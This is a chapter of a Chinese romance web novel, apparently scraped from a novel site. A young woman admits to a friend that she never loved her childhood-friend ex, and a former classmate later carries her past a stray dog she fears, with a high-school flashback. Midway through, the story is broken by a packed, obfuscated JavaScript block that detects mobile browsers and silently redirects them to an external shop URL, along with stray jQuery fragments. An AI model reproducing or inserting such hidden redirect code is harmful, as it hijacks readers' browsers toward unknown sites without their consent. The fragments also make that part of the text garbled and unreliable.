文趣网 > 其他小说 > 相宜时差 > 6. 怕小狗
    “你还爱他吗?”虞月晗说话向来直接。

    见面的地点约在咖啡店,原本想做点有意思的事情例如看电影,但是怕没时间大聊特聊于是还是选择这个最适合聊天的地点。

    两人已经尽数说完这几个月的新鲜事,这会儿话题又绕回和沈千言分手的事情上。

    孟向宜脑袋耷拉下来,她决定回去后一定要发个帖子,内容是千万不要和青梅竹马谈恋爱,谈的时候要接受一大批人的拷问,分手了居然还是这样。

    但是面对虞月晗显然不能用那些搪塞的话。

    孟向宜思考了一会儿。

    不是在想“还”,而是在想“爱”。

    和沈千言恋爱的第二天,孟向宜就后悔了,早上醒来之后全网搜索“谈恋爱第二天怎么提分手比较合适”。

    孟向宜一直知道沈千言对她和其他人不一样,因为他们从小一起长大。

    从她来清远开始,几乎人生的每一个阶段都是和他一起度过的。

    两家住在云启茗居的隔壁栋,小学离家近,他们又在一个班,总是一起上下学。

    后来又上了同一个初中、同一个高中,虽然不在一个班,但他们还是会经常一起吃饭一起放学。

    高中时她学理,沈千言读文,已然不在一个楼层,但他还是经常从三楼跑到五楼找孟向宜聊天。

    因为相处时间太过长久,孟向宜习惯沈千言对她的独特,因为在她那里沈千言也是独特的。

    这些独特是融进生活中的,早在经年累月中成为日常。

    长辈们有时也会打趣说他们青梅竹马一起长大,感情是其他人比不了的。

    暗含的意思孟向宜听得懂,大概是未来他们会在一起。

    孟向宜却立刻觉得不对,在她心里沈千言更像是一个闺蜜。

    爱情是需要火花的,孟向宜曾经真挚地爱过一个人,知道爱是什么感觉。

    是停靠水边,忍不住伸手想触摸水下世界的冲动,拼命想要完整地看清楚水底的全部。

    但她对沈千言从来没有这种好奇感,她原以为沈千言也是这么想的。

    不过孟向宜一直是爱多想的人,她多一步地想到,万一哪天沈千言真的和她表白,她也只能成为委婉拒绝他的人。

    比起失去一个好朋友,孟向宜更不想拥有一段莫名其妙的爱情。

    直到大三那年,在沈千言的生日宴上,他让派对的焦点易主。

    孟向宜原本和参加派对的所有嘉宾一样,等着主角出现。

    灯光却一暗,再打开时所有光线聚焦到她一个人身上,孟向宜隐隐感到不对。

    脑子里开始组织拒绝的话,到底是当场模棱两可地揭过还是直截了当的拒绝,孟向宜好纠结。

    下一刻,宴会厅的大门拉开,沈千言抱着一束白色蝴蝶兰款款而来。

    走进后孟向宜看见,那束蝴蝶兰上还夹着一封信。

    几乎是看见的第一秒,孟向宜的眼泪瞬间掉落,一些说不清的情绪从她脑海中迸发。

    沈千言将那封手写信一字一字念给她听。

    结尾是,“孟向宜,你愿意和我开启一段人生的新篇章吗?”

    孟向宜的意识在看到蝴蝶兰和手写信的那一刻神情就变得恍惚,连那封信的内容她也没怎么认真听。

    她想起很久以前看过的一个帖子,“人最想要的爱其实是一个人用自己爱别人的方式来爱她”。

    因此在沈千言抱着花束出现的那一刻,孟向宜莫名有一种内心深处的脆弱被包裹的感觉。

    又忍不住想,如果他们的行为真的如此巧合,那是不是说明他们确有这样的缘分。

    最后在恍惚中几乎说不出拒绝的话,就这样在自己的泪水和众人的欢呼中答应了他的表白。

    但在第二天高涨的情绪退去后,孟向宜立刻开始后悔,一开始是找不到理由。

    后面发现恋爱后和当朋友的时候也差不多,只是多了个走时沈千言会牵她的手而已。

    恰好她也母单二十年,目前没找到想发展为恋爱关系的人,和沈千言谈恋爱还能挡掉一些稀奇古怪的烂桃花。

    于是就继续谈着。

    孟向宜和虞月晗之间是完全坦诚的关系,那些隐秘的甚至有些不道德的想法,她都能大方地和虞月晗说。

    因为她知道,虞月晗一定会站在她这边。

    于是孟向宜和她讲述自己的真实想法,“其实不能用‘还爱’这个词,因为感觉我从来没有喜欢过他,当时答应他实在是因为表白那一套连招杀伤力太大,我完全抵抗不了”。

    虞月晗在孟向宜恋爱的当天晚上就接到她的电话,孟向宜兴奋地和她讲述表白的过程。

    清远隔着伦敦一万公里的距离,她都能感受到孟向宜的喜悦。

    她那时也是第一次以为自己的第六感错了,因为她曾坚定地认为孟向宜绝对不喜欢沈千言。

    “说实话其实我也感觉”,虞月晗戳着脸颊回想他们的学生时代,“就是我们读初中的时候,他不是总来找你玩嘛,但是我那个时候觉得你们两一点暧昧的氛围都没有”。

    又说到高中时代,“后面读高中的时候也是,虽然你们两总一起主持,但我觉得还不如你和许青润好嗑”。

    孟向宜吓得要将刚喝的咖啡吐出来,怎么回国之后不是碰到他就是身边人提起他。

    她微蹙眉头,“和许青润有什么关系?”

    虞月晗没看她,沉浸在自己的回忆里,“你不懂,就是一种感觉,你和许青润站在一起的时候像有结界一样,但是和沈千言之间就没有。

    所以每次插进你们的聊天我都觉得很自然,但是有几回你和许青润聊天我居然会觉得插不进去”。

    孟向宜不以为意,“可能是他那个时候太内敛了吧,不止是我们聊天插不进去,光和他聊天也不好意思开口”。

    咖啡店的整点时钟响了,孟向宜见到了六点,刷了会儿附近推荐的美食后两人前往一家附近商场的韩料店。

    “你大概要忙到什么时候呀,我还想让你来我家住一段时间”,孟向宜吃着凉面看向对面的女生。

    虞月晗没读研,本科毕业那年她想这辈子终于不用再读书了,她还是对赚钱比较感兴趣。

    于是入职了现在这家营销公司,一年勤恳上班,公司见她几个项目都跟进得很好,恰逢高层多人跳槽,将她从普通职工升为拥有一些权利的管理层。

    这段时间事情也多,已经连续好几个礼拜只有单休。

    她苦着脸对孟向宜说,“我也想和你同居!但是这段时间实在太忙了”,虞月晗做了个假哭的表情,“等双十一之后,我立马飞到你家”。

    孟向宜见她表情如此心酸,边答着好边给她夹牛肉。

    大概声色并茂的聊天也是一件耗费精力的事情,两人将桌上的菜一扫而空。

    吃饱喝足后两人还在商场里逛了逛,孟向宜见到有自己用的眼霜牌子,在虞月晗问完好不好用之后她立马抱了一手眼霜去买单,而后送给她。

    虞月晗感动地在孟向宜脸上亲了一口,之后两人走出商场,虞月晗开车送她回家。

    到小区门口和虞月晗道别后,孟向宜扫完门口的人脸识别,准备摸出手机来玩。

    余光中发现左边草丛里好像有东西在晃,天太暗看不清晰,她打开手机的灯光对准草丛。

    下一秒从草丛里钻出来一只泰迪,脖子上有绳子但是没有主人在牵,看到有灯顺着光源看去与孟向宜对视上。

    孟向宜从小就怕狗,见到没人牵绳的泰迪吓了一跳,只用了一秒不到就立刻转身跑回人脸识别的地方。

    人脸识别处有铁门,小狗暂时出不来。

    孟向宜刚跑得太快,这会儿出来后心跳如擂鼓,包包也滑落到手腕处。

    她手撑着膝盖大口呼吸,心里有种劫后余生的感觉。

    还未缓过劲来,耳边传来男人关切的声音,“你还好吗?”。

    许青润有傍晚散步的习惯,今晚刚从附近的公园散步回来,就见到小区门口熟悉的身影。

    他快步走到孟向宜身旁,弯腰查看孟向宜的状况。

    孟向宜听到声音的第一刻觉得老天在捉弄她,六年没见的人回来之后要不就是偶遇他要不就是身边的人提起他。

    十八岁那年坐上离开清远的飞机时下定决心要和他当陌生人,怎么现在命运要告诉她休想吗。

    但是她实在没办法一个人进去面对那只泰迪。

    孟向宜无奈地起身,将包包挎回肩膀,看向那双关切的眼神,表情又变成一如既往的冷酷。

    她手指向人脸识别处,“进门的地方有只泰迪,没牵绳”。

    许青润明白她像被什么东西追着一样的原因,咬唇忍住笑意。

    虽然过了这么多年,但好歹还是有东西是没有变化的。

    他记得孟向宜高中时期就怕狗。

    国庆过后天气还是微热,那时的许青润已经被资助了,在办公室里王国华和他说的。

    虽然没有告诉他是谁,但他隐约能猜到是前一晚帮他收集电话的女孩。

    王国华拍了拍许青润的肩膀,“对方是不希望你有负担所以才选择匿名的方式,他说了你只要好好学习就行,其余的学费以及生活费都会通过学校这边打到你的银行卡上”。

    他知道许青润是不爱表达自己的人,怕他会多想,在他回班前又多补了句,“不要有压力,就当是学校资助的”。

    许青润心里却明白,如果有一天明确知道资助人,他一定会在有赚钱的能力之后将这笔钱还回来。

    回到班里恰好这节是班会课,年级要召集全体老师开会,班长此时代替老师坐在讲台上管纪律。

    高二一班在五楼楼梯口第一间,因为天热教室里又开了空调。

    学校里有只流浪狗,后来被门卫叔叔领养,喜欢狗的同学上下学还会去保安亭逗逗它。

    大概小狗也怕热,今天趁门卫不注意溜出来,一口气爬上五楼,经过一班门口感受到里面散发的凉气,一下子窜了进来。

    孟向宜见到狗跑进教室的第一刻就把两只脚从地上抬起踩在椅子上,她对狗是生理性的恐惧。

    姜颖说小时候给孟向宜买小狗的玩具,会模拟狗的叫声,孟向宜不小心触碰到声音键听到小狗的声音后立马就被吓哭。

    后来在老家读小学时,她上下学一个人回家,某次被流浪狗追到外婆家楼栋下面后,彻底对狗变成生理性恐惧。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865946|212195||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    也许是因为孟向宜的抬脚,导致她的桌子底下成为班里唯一空闲的区域,加之孟向宜的座位在中间一组第二排最右边,离门的位置也很近。

    小狗看到孟向宜桌底有空位,一溜烟跑进来窝在她桌子下。

    孟向宜要崩溃了,这下也不只是脚放到椅子上,她踩着椅子立刻弹起来坐在桌上,将脚也缩到桌子上侧坐着。

    恐惧甚至已经让她没办法管身边人看到她坐上桌后发出的惊讶声。

    虞月晗知道她怕狗,想帮她把狗引出去,特意从桌子里拿出玉米肠,撕开吸引狗狗。

    结果可能是教室的温度太舒服了,狗狗根本不理睬,甚至趴下来开始睡觉。

    虞月晗看向坐在桌上的孟向宜,两人对视的目光中能看到的只有无助。

    这时许青润从办公室回来,走到门口就听到里面的喧闹声,还不知发生了什么。

    一进教室就看见弯腿撑着手臂看着桌子底下的女生,顺着她的目光看到霸占她的座位自得其所的小狗。

    原来她怕狗。

    许青润没有思考就走到孟向宜座位旁边,看了眼快要急到落泪的女生,蹲下身子手臂从座位底下一捞,将小狗从里面抱出来。

    起身后又退后两步,离孟向宜距离安全才开口,“没事了,可以下来了”。

    孟向宜从课桌下来坐回座位时摸着狂跳的心脏,声音还带着些抖,“谢谢你”。

    之后许青润抱着狗狗走出教室,送回门卫那里,又提醒门卫记得锁好门,有同学比较怕狗。

    意识回到香居水榭门口,许青润眼底如往常一样温柔,声音亦是,“别怕,我带你进去”。

    孟向宜小心翼翼跟在许青润后面,克制着想要抓住他手臂的冲动。

    扫完人脸识别后她每一步都走得谨慎,到了刚刚发现泰迪的地方,孟向宜告诉许青润后,许青润前去看了眼发现它已经不在原处。

    孟向宜想着应该是已经被主人牵走,心里顿时放心下来,不再小心地跟在后面,她走到和许青润并肩的地方。

    语调也随之清朗,“好了不用送了,我自己回去就行”。

    许青润心情跟着沉了一分,重逢后她好像总是在拒绝他,即使是这样微小的事情,也不留半分暧昧的余地。

    昨晚加上她的联系方式后,许青润给她发了个“晚安”,想着他们能互道晚安也算是一种聊得来。

    可是对面只冷冷地发了一个“嗯”字。

    今天也是这样,许青润觉得面前的人现在像一道密不透风的墙,拒绝一切外来物体的入侵。

    他好低落,想追一个人却连切入点都找不到。

    下一刻听见耳边“啊”的一声,随后面前的女生瞬影般移到他的背上,双臂紧紧圈住他的脖颈。

    孟向宜这次是真的觉得尴尬得没边,上一秒还自顾自地拒绝他,下一秒看到泰迪从对面的草丛里冒出来几乎不加反应就跳到他背上。

    还好许青润没被她跳上来的动作带着摔倒,不然她不敢想小狗在她眼前她会多无助。

    许青润看向绕着自己小腿打圈的泰迪,居然还有一点想谢谢它,忍不住唇角弯起。

    他握拳绕过孟向宜的腿弯,掂了掂背上的人,让她身体靠上些更舒服,语气里都止不住笑意,

    “看来还是我送孟小姐到楼下吧”。

    泰迪围着许青润转了会儿见他不理它就又跑回草丛。

    孟向宜却不敢下来,怕它又从哪个角落里跑出来。

    刚刚因为害怕她抱得很近,这会儿发现两人脸颊快要贴上。

    她刻意拉远了些距离,打量着眼前的人。

    那颗鼻梁痣亦如当年,再往下看发现他还弯起的嘴角。

    孟向宜如同泄了气一般垂下头,觉得自己的高冷形象简直是一朝破灭,她语气里带着几分委屈,“你别笑了”。

    四处寂静,唯能听到草丛中细微的虫子鸣叫声。

    安静会让人调动更多感官,许青润感受着两人肌肤相贴处的温度。

    孟向宜今天和虞月晗出门决定拍照,因此好好打扮了一番,上身穿着灰黑色斜肩针织衫,下面搭配牛仔短裙。

    刚跳上他的背时,许青润的第一反应是她怎么这么瘦,按常理说突然出现这样的冲击力他都可能会被撞倒。

    但他当时却并未感受到大冲击力,在被搂住脖子时感受到的反作用力也略等于无。

    手臂不似刚刚抱得那样紧,许青润转过头想看背上人的表情。

    发现孟向宜嘟着嘴,鼻子微微皱起。

    他轻声哄着,“我不笑了好不好”,神色清明看着前面,“其实我很开心能帮你”。

    孟向宜听完这话睫毛轻轻颤了颤,欲言又止了几次。

    香居水榭绿化做得好,小区里栽种了许多绿植,包括连片的树木,呼吸间是草木混着近处男人身上的柑橘味。

    孟向宜抬头看了眼天空,樟树的枝桠疯长,密密麻麻的枝叶缝隙中透下月光,一层层树影的最上方,是一轮即将圆满的月。

    在这样的氛围下,人是说不出重话的。

    何况他现在还无半分怨言地背着她。

    她最终放轻语调开口,“那我也谢谢你”。